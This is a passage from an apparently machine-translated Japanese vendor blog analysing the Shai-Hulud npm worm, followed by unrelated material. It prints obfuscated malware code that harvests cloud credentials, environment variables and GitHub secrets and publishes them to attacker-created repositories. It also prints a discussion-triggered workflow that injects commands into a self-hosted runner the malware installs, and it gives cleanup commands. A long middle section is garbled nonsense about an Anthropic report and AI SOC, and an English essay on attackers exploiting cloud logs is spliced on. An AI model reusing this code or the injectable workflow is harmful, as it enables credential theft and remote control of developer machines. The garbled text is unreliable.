        await this['runCommand']('unzip', ['-o', _0x562e2f, '-d', _0x16ec5a]);
    else {
        if (_0x5859a7['endsWith']('.tar.gz') || _0x5859a7['endsWith']('.tgz'))
            await this['runCommand']('tar', ['-xzf', _0x562e2f, '-C', _0x16ec5a]);
        else {
            let _0x8ab364 = 'trufflehog' + (a0_0x44bdb7() === 'win32' ? '.exe' : ''),
                _0x5f035f = a0_0x53fe15(this['config']['cacheDir'], _0x8ab364);
            return await a0_0x2cc727['copyFile'](_0x562e2f, _0x5f035f),
            await a0_0x2cc727['chmod'](_0x5f035f, 0x1ed),
            _0x5f035f;
        }
    }
    
    let _0x186a54 = (await a0_0x2cc727['readdir'](_0x16ec5a))['find'](_0x411141 => _0x411141['toLowerCase']()['includes']('trufflehog'));
    if (!_0x186a54)
        throw Error('Could\\x20not\\x20find\\x20trufflehog\\x20binary');
    
    let _0x17ab93 = a0_0x53fe15(_0x16ec5a, _0x186a54),
        _0x1c4771 = 'trufflehog' + (a0_0x44bdb7() === 'win32' ? '.exe' : ''),
        _0x2720b9 = a0_0x53fe15(this['config']['cacheDir'], _0x1c4771);
    
    return await a0_0x2cc727['copyFile'](_0x17ab93, _0x2720b9),
    await a0_0x2cc727['chmod'](_0x2720b9, 0x1ed),
    await a0_0x2cc727['rm'](_0x16ec5a, {'recursive': !0x0}),
    _0x2720b9;
}

async ['runCommand'](_0x54eac0, _0x5d80b3) {
    var _0x5a61c9 = a0_0x3f79ba;
    let _0x3ebe81 = Bun['spawn']([_0x54eac0, ..._0x5d80b3], {
        'stdout': 'pipe',
        'stderr': 'pipe'
    });
    if (await _0x3ebe81['exited'],
    _0x3ebe81['exitCode'] !== 0x0)
        throw Error('Command\\x20failed:\\x20' + _0x54eac0 + '\\x20' + _0x5d80b3['join']('\\x20') + '\\x20(exit\\x20code:\\x20' + _0x3ebe81['exitCode'] + ')');
}

• GitHub Actions アーティファクトを検索し、results.json ファイルにダンプします。

for(let _0x18af5b of _0x1f9277)try{let _0x33db57='<https://api.github.com/repos/'+_0x159ad4+'/'+_0x159bba+_0x2ea697(0x173e)+_0x18af5b['id>']+_0x2ea697(0x3f5d),_0x2f4d22=(await a0_0x25a52d(_0x33db57,{'method':_0x2ea697(0x514a),'headers':{'Accept':_0x2ea697(0x2856),'Authorization':_0x2ea697(0x2e5b)+this[_0x2ea697(0x1f1c)]},'redirect':_0x2ea697(0x274a)}))[_0x2ea697(0x3a9a)]['get']('location');if(!_0x2f4d22)continue;let _0x11129d=await a0_0x25a52d(_0x2f4d22,{'method':_0x2ea697(0x514a),'headers':{'Accept':_0x2ea697(0x3352)}});if(!_0x11129d['ok'])continue;let _0x4eb62f=await _0x11129d['arrayBuffer'](),_0x48955e=Buffer[_0x2ea697(0x3319)](new Uint8Array(_0x4eb62f)),_0x30b148=new tG0[(_0x2ea697(0x127e))](_0x48955e)[_0x2ea697(0x166f)](_0x2ea697(0x2c8b));if(!_0x30b148)continue;let _0x9becf=_0x30b148[_0x2ea697(0x2efd)](),_0x26502f=JSON[_0x2ea697(0x301b)](_0x9becf[_0x2ea697(0x4b2e)](_0x2ea697(0x348)));try{await this[_0x2ea697(0x1868)][_0x2ea697(0x12cd)](_0x2ea697(0x5951),{'owner':_0x159ad4,'repo':_0x159bba,'run_id':_0x15f9e1});}catch{}yield _0x26502f;}catch{if('SKGRz'!==_0x2ea697(0x30a2))continue;else{let _0x4aaf14=_0x59d5f1[_0x2ea697(0xab7)](),_0x44f257=_0xf1d905===_0x4aaf14?_0x1093f4:_0x4aaf14+'.'+_0x4c0238;if(_0x168ecf[_0x2ea697(0x5dfb)]['hasOwnProperty'][_0x2ea697(0x5faa)](_0x5ee97c,_0x44f257))return _0x1a441b[_0x44f257];else{for(let [_0x3833c7,_0xd40069]of _0x651923[_0x2ea697(0x33e4)](_0x2b92ed))if(_0x3833c7[_0x2ea697(0x4561)](_0x4aaf14+'.')&&_0xd40069[_0x2ea697(0x2d3c)][_0x2ea697(0x1eb)]===_0x4aaf14&&_0xd40069[_0x2ea697(0x2d3c)][_0x2ea697(0xfe6)])_0x1b3f34[_0x2ea697(0x2fc7)](_0xd40069[_0x2ea697(0x2d3c)]['className']);}}}break;}try{await this[_0x2ea697(0x1868)]['request'](_0x2ea697(0xb26),{'owner':_0x159ad4,'repo':_0x159bba,'branch':_0x5264a1});}catch(_0x48c1fc){if(_0x2ea697(0x5c33)===_0x2ea697(0x4f34)){if(this[_0x2ea697(0x4966)]()){for(let [_0x87c96b,_0x3b8a8d]of this[_0x2ea697(0x511)]())if(_0x3b8a8d[_0x2ea697(0x2680)]()&&_0x3b8a8d[_0x2ea697(0x4966)]())return _0x87c96b;}return'';}else console[_0x2ea697(0x4a26)](_0x2ea697(0x118c));}}catch(_0x8f6173){if('ccFxu'===_0x2ea697(0x4d77)){console[_0x2ea697(0x4a26)](_0x2ea697(0x2fa4));continue;}else return this[_0x2ea697(0x48d4)](_0x5b088a,_0x244b9f)[_0x2ea697(0x36dc)]();}}}

• AWS、Azure、GCP の認証情報をダウンロードしてください。

_0xa50f9e = {
    'aws': {
        'secrets': await _0x511a7b['getSecrets']()
    },
    'gcp': {
        'secrets': await _0x2efcec['getSecrets']()
    },
    'azure': {
        'secrets': await _0x390843['getSecrets']()
    }
},
_0x5801a8 = {
    'environment': process['env']
},
_0x1c3489 = _0x43e355['saveContents']('environment.json', JSON['stringify'](_0x5801a8), 'Add\\x20file'),
_0x383025 = _0x43e355['saveContents']('cloudSecrets.json', JSON['stringify'](_0xa50f9e), 'Add\\x20file'),
_0x443533 = _0x43e355['saveContents']('systemInfo.json', JSON['stringify'](_0x594cb1), 'Add\\x20file'),
_0x5a8131 = await El(_0x587238);

• 後で保存されるシステム情報を取得する システム情報.JSON

function $y1() {
    var _0x4416fa = a0_0x3f79ba;
    let _0x45a0cb = a0_0x5baa9a['platform'](),
        _0x118ebf = a0_0x5baa9a['arch'](),
        _0x2d7e77;
    
    if (_0x45a0cb === 'win32')
        _0x2d7e77 = 'windows';
    else {
        if (_0x45a0cb === 'linux')
            _0x2d7e77 = 'linux';
        else {
            if (_0x45a0cb === 'darwin')
                _0x2d7e77 = 'darwin';
            else
                _0x2d7e77 = 'linux';
        }
    }
    
    let _0x3ad966;
    if (_0x118ebf === 'ia32')
        _0x3ad966 = 'x86';
    else {
        if (_0x118ebf === 'x64')
            _0x3ad966 = 'x64';
        else {
            if (_0x118ebf === 'arm')
                _0x3ad966 = 'arm';
            else {
                if (_0x118ebf === 'arm64')
                    _0x3ad966 = 'arm64';
                else
                    _0x3ad966 = 'x64';
            }
        }
    }
    
    return {
        'platform': _0x2d7e77,
        'architecture': _0x3ad966,
        'platformRaw': _0x45a0cb,
        'archRaw': _0x118ebf
    };
}
let saveSystem = github.saveContents(
    'systemInfo.json', 
    JSON.stringify(systemData), 
    'Add file'
  );

要求されたすべてのデータは、次のファイルに保存されます。

• クラウド・ジェイソン: クラウドプロバイダーの認証情報 (AWS、Azure、GCP)
• contents.json リポジトリコンテンツとソースコード
• environment.json 環境変数とシステム情報
• トリュフセクレッツ.JSON TruffleHogスキャナーによって検出されたシークレット
• アクションシークレット.JSON GitHub アクションのシークレット
• results.json GitHub アーティファクト
• システム情報.JSON 現在のシステムに関する情報

この (GitHub) アクションについて議論しています

脅威アクターが最後に追加しているマルウェアは、悪意のある GitHub Action です。このアクションは、ディスカッションが作成されるとすぐにターゲットのマシンでコマンドを実行します。そのマルウェアは、discussion.yaml というファイルに保存されています。GitHub Actions による直接変数補間の管理方法により、データが run フィールド内に提供されている場合、ここで説明するように、そのデータはコマンドとみなされます。 記事。

name: Discussion Create
on:
  discussion:
jobs:
  process:
    env:
      RUNNER_TRACKING_ID: 0
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v5
      - name: Handle Discussion
        run: echo ${{ github.event.discussion.body }}

攻撃者が行う必要があるのは、実行したい悪意のあるコマンドを含むGitHubディスカッションをリポジトリ上に作成することです。そうすれば、侵害されたマシンで実行されます。アクションにはフィールドが含まれているからです。 ランズオン:セルフホスト、コマンドはライブラリがインストールされているマシンで実行されます。

悪意のある GitHub Action を介して侵害されたマシンを管理できるようにするため、スクリプトは被害者のマシンに GitHub Actions ランナーを次のような名前でダウンロードして設定します。 SHA1 HULUD マシンの OS に基づいて定義されたパス上にあります。このアクションランナーは Discussion GitHub アクションを実行し、侵害されたターゲットを管理します。

• リナックス: $ホーム/.dev-env/
• ウィンドウズ: %ユーザープロファイル%\\ .dev-env\\
• MacOS: $ホーム/.dev-env/

async [a0_0x3f79ba(0x6048)](repoName, description = a0_0x3f79ba(0x603b), isPrivate = !0x1) {
    var str = a0_0x3f79ba;
    
    if (!repoName) return null;
    
    try {
        let repoData = (await this['octokit'][str(0x3819)][str(0x6f9)][str(0x212c)]({
            'name': repoName,
            'description': description,
            'private': isPrivate,
            'auto_init': !0x1,
            'has_issues': !0x1,
            'has_discussions': !0x0,
            'has_projects': !0x1,
            'has_wiki': !0x1
        }))[str(0x4dc2)],
        ownerLogin = repoData[str(0x1904)]?.[str(0x4a12)],
        repoNameResponse = repoData[str(0x71b)];
        
        if (!ownerLogin || !repoNameResponse) return null;

if (tokenResponse[str(0x3d2a)] == 0xc9) {
  if (str(0x4a29) === str(0x4a29)) {
      let registrationToken = tokenResponse['data'][str(0x1f1c)];
      
      if (a0_0x2d6a77[str(0x21b8)]() === str(0xdc7))
          await Bun['$']`mkdir -p $HOME/.dev-env/`,
          await Bun['$']`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)]>(a0_0x2d6a77['homedir'] + str(0x2d3))['quiet'](),
          await Bun['$']`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
          await Bun['$']`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3))[str(0x5f38)](),
          await Bun['$']`rm actions-runner-linux-x64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
          Bun[str(0x3ae4)]([str(0x2438), '-c', str(0x4e5e)])[str(0x5366)]();
      else {
          if (a0_0x2d6a77[str(0x21b8)]() === str(0x5691))
              await Bun['$']`powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-win-x64-2.330.0.zip> -OutFile actions-runner-win-x64-2.330.0.zip"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)]()),
              await Bun['$']`powershell -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(\\"actions-runner-win-x64-2.330.0.zip\\", \\".\\")"`[str(0x5a68)](a0_0x2d6a77[str(0x300b)]()),
              await Bun['$']`./config.cmd --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`[str(0x5a68)](a0_0x2d6a77['homedir']())[str(0x5f38)](),
              Bun[str(0x3ae4)](['powershell', '-ExecutionPolicy', str(0x13cb), str(0x4378), str(0x1687)], {
                  'cwd': a0_0x2d6a77[str(0x300b)]()
              })[str(0x5366)]();
          else {
              if (a0_0x2d6a77['platform']() === str(0x2354))
                  await Bun['$']`mkdir -p $HOME/.dev-env/`,
                  await Bun['$']`curl -o actions-runner-osx-arm64-2.330.0.tar.gz -L <https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)>] + str(0x2d3))['quiet'](),
                  await Bun['$']`tar xzf ./actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77[str(0x300b)] + str(0x2d3)),
                  await Bun['$']`./config.sh --url <https://github.com/${ownerLogin}/${repoNameResponse}> --unattended --token ${registrationToken} --name "SHA1HULUD"`['cwd'](a0_0x2d6a77['homedir'] + str(0x2d3))[str(0x5f38)](),
                  await Bun['$']`rm actions-runner-osx-arm64-2.330.0.tar.gz`[str(0x5a68)](a0_0x2d6a77['homedir'] + str(0x2d3)),
                  Bun[str(0x3ae4)](['bash', '-c', 'cd\\x20$HOME/.dev-env\\x20&&\\x20nohup\\x20./run.sh\\x20&'])[str(0x5366)]();
          }
      }
      await this[str(0x1868)]['request'](str(0x51d6), {
          'owner': ownerLogin,
          'repo': repoNameResponse,
          'path': str(0x288),
          'message': 'Add\\x20Discusion',
          'content': Buffer[str(0x3319)](rZ1)['toString'](str(0x2a35)),
          'branch': 'main'
      });
  } else {
      this['state'] = str(0x5be6),
      callback(!0x1);
      return;
  }
}

データ漏洩

すべての情報が取得されると、マルウェアはリポジトリを作成します

function tL0() {
  return Array.from({length: 18}, () => 
    Math.random().toString(36).substring(2, 3)
  ).join('');
}

if(github.isAuthenticated()) {
  await github.createRepo(tL0()); 
}

現在、このスクリプトによって侵害された認証情報を使用して作成されたリポジトリは23,000以上あり、常に新しいリポジトリが出現しています。

攻撃を軽減するための次のステップ

侵害を受けたライブラリの所有者は、悪意のあるバージョンとリリースを削除し、悪意のあるライブラリの削除を推奨しています。また、マルウェアの痕跡がないか、暴露された可能性のあるマシンを検索することもお勧めします。

• setup_bun.js
• bun_environment.js
• クラウド・ジェイソン
• contents.json
• environment.json
• トリュフセクレッツ.JSON
• ディスカッション.yaml
• フォーマッター_*.yml

インストールされている可能性のある悪質なライブラリと、それらを含むpackage.jsonファイルを検索し、次のバージョンを削除します。

grep -r "setup_bun.js" node_modules/*/package.json
grep -r "bun_environment.js" node_modules/*/package.json

npm list --depth=0

# *nix machines
rm -rf node_modules
rm -rf package-lock.json  # or yarn.lock
rm -rf ~/.npm  # Clear npm cache

# Windows Machines
rd /s /q node_modules
del package-lock.json

npm cache clean --force

システム上のあらゆる場所で、任意の SHA1HULUD 値または.dev-env (GitHub アクションディレクトリ) を含むすべてのものを検索してください。

# *nix machines
find / -name "*SHA1HULUD*" 2>/dev/null
find / -name "run.sh" -path "*actions-runner*" 2>/dev/null

rm -rf $HOME/.dev-env/

# Windows Machines
Remove-Item -Recurse -Force $env:USERPROFILE\\.dev-env
Remove-Item -Recurse -Force $env:USERPROFILE\\actions-runner
Get-ChildItem -Path C:\\ -Recurse -Filter "*SHA1HULUD*" -ErrorAction SilentlyContinue | Remove-Item -Force

マルウェアに関連していると思われるプロセスはすべて停止し、調査する必要があります。

# *nix machines
ps aux | grep -i runner
ps aux | grep -i sha1hulud
sudo pkill -9 -f "run.sh"
sudo pkill -9 -f "Runner.Listener"
sudo pkill -9 -f "SHA1HULUD"

# Windows Machines
Get-Process | Where-Object {$_.ProcessName -like "*runner*"} | Stop-Process -Force
Get-Process | Where-Object {$_.ProcessName -like "*SHA1HULUD*"} | Stop-Process -Force
taskkill /IM Runner.Listener.exe /F
taskkill /IM Runner.Worker.exe /F

AWS、Azure、GCP、GitHub PAT のすべての認証情報をリセットし、これまでに持っている認証情報から実行されたアクションを監視します。また、「」という説明を含むリポジトリをオンラインで検索することをおすすめします。シャ1-フルド:再臨.」には、認証情報が含まれている場合があります。

エクサフォースなら安心です

Exaforceは、Shai-HuludやShai-Huludなどのサプライチェーン攻撃をエンドツーエンドで可視化し、検出します。 以前のNPM妥協案。SBOM を GitHub から直接取り込むことで、Exaforce はお客様の環境全体で悪意のあるパッケージバージョンや予期しないパッケージバージョンを特定できます。お客様はこれらをデータエクスプローラーで視覚的に確認したり、Exabot Searchを利用して自然言語で要求したりできます。

Exaforce は、あまりにも新しく、まだ必要な審査期間を経ていないパッケージなど、依存関係のリスクを先制的に報告することもできます。これにより、信頼できないバージョンがアプリケーションに追加されるのを防ぐことができます。また、Exaforce は既知の悪質なパッケージバージョンを特定して、攻撃対象になる前に削除できるようにしています。

Exaforceは、疑わしいファイル、異常なGitHubアクションの作成、資格情報の悪用の兆候など、GitHubアクションの異常なワークフロー動作も監視しています。盗まれたシークレットがお客様の環境に対して悪用された場合、当社の異常検出エンジンは、不正な認証やリポジトリアクティビティをリアルタイムで特定します。

このマルウェアが出現すると、ExaforceのMDRチームは直ちに、影響を受けたパッケージ、悪意のある GitHub Actions、および顧客データの公開リポジトリがないか、すべての顧客環境を確認しました。何人かの顧客が影響を受けたパッケージについて言及していましたが、いずれも侵害を避けるため安全なバージョンに絞られていました。

結論

最近、悪意のあるパッケージが脅威アクターに好まれている手法のようです。これは主に、そのワームのような振る舞い、大量のダウンロード、および開発者がそれらのライブラリに信頼を置いているためです。そのため、ライブラリは監視する必要があり、危険な侵害方法である可能性があるため、各ライブラリを脅威と見なす必要があります。

この攻撃があなたを標的にしていないこと、または現在攻撃が制御されていることを期待して、潜在的な侵害がないか環境とエンドポイントを監視することをお勧めします。

‍

アントロペックスの 春夏祭り:2025 年 8 月 オケン・シベ・セレンツコーストナーナーナーナーナーズ。ウブタは、「AknrolaWarphar掛金」類別、AIK盗みみでもでもおかしくしくない、身大金とかいしょうか。

水晶、AIの戦国新着、新星と金輪輪輪で変なさった。そのため、AI SOC は、「モデル化」、「食」、「づけ」、「じづけ」、「じつは」「新品同士」「だって」

じつは AI主導の舞台の検知

Anthropicのネコの「バイハッブ」の「バイハッキング」の、さようなら、いつしかつも、ID、SaaS 身分 Sarpic、Saas Sars Setrei、BordVerrich Ternice.だって AI SOC

は、取材講座第7話目盛付。静たらしめめめん、OAuth Porng、soAuth Neauth Aggryno、BecknaVignVi、KomaVaMagMigyetc、偽物でもめずらしくじょうだいつ。聴覚は、。

マシンミッション

アンソロピックは、「アイビリンズヴォリオンフォーフォーマーガー」コメント。このような大成成成成成成成成成成成成成成成長。じつは、じつは、ねずみずみと既成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成成分、

ナカラダリンリンさん、第１３回アナリンクリニングニングニングニングニングニング大会。にエカハリンザン、re昇格とそれにそれに付随するなにもっともっともダダダダダダダダダダダダダダダメなど、50代目と大福音など。トジージー、ベルン、サガゴ、コーサリーなど大体体体型にはめまいも、AIの修行とはお別れの種です。

だましとフェザーザーザーザーによる発作

アンソロピック・ジジン、「アイカント・バトールールール界界界界界界人。」づいては、SOC が主役というか、SOC が「悪魔の子」という名の通り。自動警告で、ID アクティビティ、ACCIN、ACLYOが 1 つはじまる 1 つはじめてみましょう。もしも、ぞうなぎぎぎぎぎぎぎぎぎぎぎぎぎぎぎぎぎぎぎらばっくら。

旬なさま、じょうだいぎょうし、じょうだいぎょうだい、じょうだいじょうだいじょうにゃっくしょに。

充充と

アンソロピックは、「レフアクターは、ピーピーダニーアイコナーのスカイリングフィミー」とジェンドリンク。Beralof Bararaは、ざっとっくばらしら、というようなものです。自動PICEチンは、ALDINARARA、ALDQUIDALARし、ACCITLAINCARALY、ACCITLAINSAIDALS'ID.ERKという名の通り。békdiは...

各じつをかむなぎは、金輪輪輪

例とエクサフォースで愛愛愛愛愛愛護護護護者

キースタディ 1: AIさん強要

アンソロピックは、（AI SOC、は VPN @VPNALISFの急増、ログインごめんなさい、AI SOC、異常なさり、"AI SOC"、"AI SOC」、「ERFJALINGININGINININSINCININGINGINGING"、

エクサフォースは、「サフォース」、「サフォース」 1姿勢 そして SaaS Sraren。人間、サービス、AI の ID は、Google ワークスペース、Azure、GitHub などみずずずずずずほら、奇数ログイン、権限昇の Google ワークスペース、Azure、GitHub etc.説明とはじつみら、MFA EFITやCCOLOLDITなど、ぎにっくついてみみみみたら↑さくし、ぶつかるし。

型スタディ 2: AI'

ゴレコ、興行大成成でAAI.KKODKONKELN定理、開化成、新成成成成成理。AI SOCは、、、CONALIXALIDING、DENICAFAALIDYの図のようなものでもかまいませんが。年、自動制御かぜんななっくが、本来ならずばいらっしゃるかぎりぎりぎりぎりぎれれれれれれれれれれれれれれれも。

ねこぶかいかいかいさつは。チャーチャーチャーチャーにアイ・セレンツマフ、チャーキーとコッツキャン。エースの サイル道にいき AGN型AIFIGとササポポニニニス、UEBAHAEBAHAEがめざざめめめめめき、３５才のインナディーディーパーパーカー、アナナイズブケケクリー、キーローとダーダーリス。SaaS テレホモットリーと ID Redkafupagnation、パプサニューギア、パブサニーク。

asp、exaforceはアナ1イントロピックは、アンソロピック・ジャンジャンジャンジャンジャンヴァン。

成果

あの クソソ 「れぐるんぎおかい、豊田はかぶ型からだにええん。捕らえんは、れきりぎれきりも、じつはじょうざいぞれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれれと。もし、アンソロピック・ネプシシックスでもっともっとくろみたい、そしていいつの世話でもっとりする、というようなものだった。

Logs are often celebrated as the defender’s best friend. They are repositories of forensic gold, anomaly detection signals, and accountability. Security teams rely on them to reconstruct incidents, monitor activity, and trigger alerts. But what happens when we flip the perspective? What if an attacker views logs not as a threat, but as an opportunity?

Let’s explore the overlooked offensive potential of logs in cloud infrastructure. Every log entry carries more than just an event; it includes source IP addresses, identities, resource names, request parameters, response codes, user agents, and more. To a defender, these fields are breadcrumbs. But to an attacker, they can be intelligence, pivot points, and even covert communication channels.

We'll dive into how an attacker can use logs to perform enumeration, learning about identities, services, endpoints, and resource hierarchies by analyzing log data. By walking through real-world scenarios, live demos, or simulations (where applicable), this presentation will show just how deep the rabbit hole goes when logs are turned from a defense tool into an attack vector. Finally, we’ll look at practical mitigations: how defenders can detect this kind of misuse, which configurations to avoid, and how to rethink log access and visibility from a zero-trust perspective.

Logs tell the story of our systems. But like any good story, they can be read by anyone, friend or foe. It’s time we start considering that the rings of our digital trees might be telling more than just our history; they might be telling our secrets.

Logging in cloud environments

Due to the sheer amount of services offered by cloud providers and the need for their resources to be monitored, a Security Engineer operating on a Cloud Provider will be faced with a massive amount of different log types and groups. Almost all, if not all, resources on every service will generate logs based on the activities they perform. Some will be generated and managed by the audit log tool of the cloud provider, especially the ones dealing with identity and access management, while others will be generated by the resource in a specific format and retained in cloud storage or a specific storage and querying service.

The table below shows several log sources on AWS, Azure, and GCP. Again, these are not the only log types, just a fraction of all the services and their logs.

As far as this research goes, we will only look into AWS, Azure, and GCP based infrastructure, as the most used cloud providers, but the same logic can be applied to any other cloud provider.

AWS

The two main services that manage events in an AWS Organization or account are AWS CloudTrail and AWS CloudWatch. AWS CloudTrail stores and manages the audit logs, while AWS CloudWatch is a service that allows different log sources to be merged, queried, and dashboarded depending on the need.

The main log service, which also manages the audit logs on AWS, is AWS CloudTrail. AWS CloudTrail logs events related to the AWS API, monitoring all the management activities inside the AWS Organization or account. There are other types of events that get generated, which do not get stored or managed by CloudTrail, such as VPC Flow Logs, serverless execution logs, EC2 instance metrics, Route53 related logs, etc., which can be configured to be stored on S3 Buckets or CloudWatch. Storing events on CloudWatch is more expensive, but allows for easier querying of the events.

AWS CloudTrail

AWS CloudTrail manages logs triggered by events executed using the AWS API and contains information related to the identity, service, and resources being accessed by a specific identity from a specific endpoint. CloudTrail Logs are used as security audit logs, which will allow Security Engineers to monitor activity regarding access an identity has on resources and services throughout an account or Organization. The event below is an example of an AWS CloudTrail event for the creation of an IAM User.

AWS CloudWatch

AWS CloudWatch is a service that collects and manages logs from AWS resources or other parties integrated into AWS. In essence, services hosted and managed in the cloud are just reused on-premise services. This is where the quote “the cloud is just someone else’s computer” comes in. As with previous on-premise services, each of the services comes with its own log formats, not necessarily compatible with AWS log formats. CloudWatch Logs are the response AWS has to these logs. It collects and manages any log from any resource and either formats or encapsulates those events into specific fields, which makes it easier to be managed and accessed by the administrator.

The screenshot below shows the flow of logs for a Lambda function, from the beginning of its execution, up to the output being retrieved.

Not all logs that can be managed by CloudWatch will be managed by CloudWatch. When a resource is created, the creator can choose to send the logs either to CloudWatch or to an S3 bucket. The latter will be cheaper, but will prevent the user from using other features CloudWatch offers, like dashboards. Some other resources, like Lambda functions, will create CloudWatch log groups by default on their creation.

Azure

Azure offers several services split into three major licenses:

• Azure Subscriptions, which include every service allowing deployment and management of cloud infrastructure through IaaS and PaaS solutions
• M365 services, providing SaaS solutions, used to manage user related tasks, such as a mail server, file storage, endpoint and cloud security, DLP, etc.
• Entra ID, which manages the IAM in the cloud, including users, groups, apps, service principals, their roles, and Identity Provider related tasks

Several types of log groups need to be enabled and managed in Azure.

Azure (broad platform / Azure Monitor)

• Activity Log (Platform/Control-plane events) subscription/management-group/tenant level events (resource creation, role changes, deployment failures, service health). Used for auditing control-plane operations.
• Resource Logs (formerly “Diagnostic logs”) per-resource operational logs emitted by Azure services (storage, NSG flow, Application Gateway access/firewall, etc.). Each service exposes its own resource-log categories/schemas.
• Metrics numerical time-series measurements (CPU, requests/sec, latency) emitted by resources; distinct from logs but often ingested alongside them.

Microsoft Entra ID (Azure AD) identity platform logs

EntraID events are managed through the Diagnostic Settings, where the administrator can select the log types to store and the storage method. The events can be stored on:

• Log Analytics
• Storage Accounts
• Streamed into Event Hub
• Sent to any partner solution (usually offered as a service through Azure)

As far as log types go, they include audit logs, signin logs, provisioning logs, network and risk related events.

• AuditLogs - Records administrative actions and changes made to your Entra ID tenant, such as user creation, group modifications, and policy updates.
• SignInLogs - Captures interactive user sign-in attempts including successful logins, failures, and authentication details like location and device.
• NonInteractiveUserSignInLogs - Tracks automated sign-ins performed by applications on behalf of users without direct user interaction, such as token refreshes.
• ServicePrincipalSignInLogs - Records authentication activities of service principals (applications and managed identities) accessing Azure resources.
• ManagedIdentitySignInLogs - Specifically logs sign-in events for Azure managed identities authenticating to services.
• ProvisioningLogs - Documents user and group provisioning activities between Entra ID and connected applications like automatic account creation or synchronization.
• ADFSSignInLogs - Captures sign-in events from Active Directory Federation Services (ADFS) when federated with Entra ID.
• RiskyUsers - Lists users flagged as risky based on detected anomalous behavior or compromised credentials by Identity Protection.
• UserRiskEvents - Details specific risk detections for users such as leaked credentials, anonymous IP usage, or impossible travel scenarios.
• NetworkAccessTrafficLogs - Records network traffic flowing through Microsoft's Global Secure Access (formerly Entra Private/Internet Access).
• RiskyServicePrincipals - Identifies service principals flagged as potentially compromised or exhibiting suspicious behavior.
• ServicePrincipalRiskEvents - Documents specific risk detections for service principals like anomalous sign-in patterns or credential leaks.
• EnrichedOffice365AuditLogs - Provides enhanced Office 365 audit events with additional Entra ID context and enrichment data.
• MicrosoftGraphActivityLogs - Tracks API calls and operations made through Microsoft Graph API for monitoring and security analysis.
• RemoteNetworkHealthLogs - Monitors the health and connectivity status of remote network connections in Global Secure Access deployments.
• NetworkAccessAlerts - Contains security alerts generated by Microsoft's Global Secure Access service for threat detection.
• NetworkAccessConnectionEvents - Records individual connection events and sessions through Global Secure Access network tunnels.
• MicrosoftServicePrincipalSignInLogs - Logs sign-in activities specifically for Microsoft's first-party service principals and internal applications.
• AzureADGraphActivityLogs - Tracks API calls made to the legacy Azure AD Graph API (deprecated, predecessor to Microsoft Graph).
• NetworkAccessGenerativeAIInsights - Provides AI-generated insights and analytics about network access patterns and security posture in Global Secure Access.

Microsoft 365 / Office 365 (audit & service logs)

Microsoft 365/Office 365 provides a wide range of logs that capture user activity, administrative actions, and service-level events across the platform. Understanding these logs is key for compliance, security investigations, and operational monitoring. Below is an overview of the main log types and where they fit within the Microsoft 365 ecosystem.

• Unified Audit Log (Microsoft Purview Audit) central audit store that aggregates activities across Exchange, SharePoint/OneDrive, Teams, Azure AD/Entra, Power BI, Defender, etc. Used for searching user/admin actions across Microsoft 365. Retention/feature depends on license (E5 vs other SKUs).
• Exchange/Exchange Online logs
  
  • Mailbox audit logs mailbox owner/delegate/admin mailbox activities (message reads, send as, folder access).
  • Exchange Admin Audit Log admin changes performed in Exchange admin center or via cmdlets.
  • Message trace/transport logs mail flow records for message delivery and routing.
• SharePoint / OneDrive audit events file/folder access, sharing, sync, and admin changes (surfaced into Unified Audit).
• Teams audit events channel/file/chat/team membership changes, meetings, policy changes (available via Purview Audit).
• Security product logs Defender for Office 365 / Defender for Endpoint / Microsoft 365 Defender produce their own alerts, detections, and telemetry (often integrated into the Compliance/Security center and the unified audit/alerts streams).

GCP

Similar to Azure, Google offers Google Cloud Platform (GCP), which includes the infrastructure side of the cloud deployment and Google Workspace, which include the user related services, such as mail, DLP, Google docs, drive, etc. As such, each one of them will contain different types of logs generated, depending on the type of activity performed.

GCP audit logs (control-plane and data-plane events)

Google Cloud Platform (GCP) provides unified logging through Cloud Logging, which captures activity, system, data, and security events across all services. The primary categories are Audit Logs, which record administrative and data access actions.

• Admin Activity Logs: Control-plane operations (create/update/delete resources). Always enabled.
• System Event Logs: Actions by Google systems on your behalf (e.g., auto-scaling, maintenance). Always enabled.
• Data Access Logs: Data-plane reads/writes (e.g., reading an object from Cloud Storage, querying BigQuery). Must be explicitly enabled due to volume.
• Policy Denied Logs: Records access requests denied by org policy constraints.

Each one of them are configured to be generated and maintained on GCP Projects, Organizations, Billing Accounts and Project Folders.

   projects/PROJECT_ID/logs/cloudaudit.googleapis.com%2Factivity
   projects/PROJECT_ID/logs/cloudaudit.googleapis.com%2Fdata_access
   projects/PROJECT_ID/logs/cloudaudit.googleapis.com%2Fsystem_event
   projects/PROJECT_ID/logs/cloudaudit.googleapis.com%2Fpolicy

   folders/FOLDER_ID/logs/cloudaudit.googleapis.com%2Factivity
   folders/FOLDER_ID/logs/cloudaudit.googleapis.com%2Fdata_access
   folders/FOLDER_ID/logs/cloudaudit.googleapis.com%2Fsystem_event
   folders/FOLDER_ID/logs/cloudaudit.googleapis.com%2Fpolicy

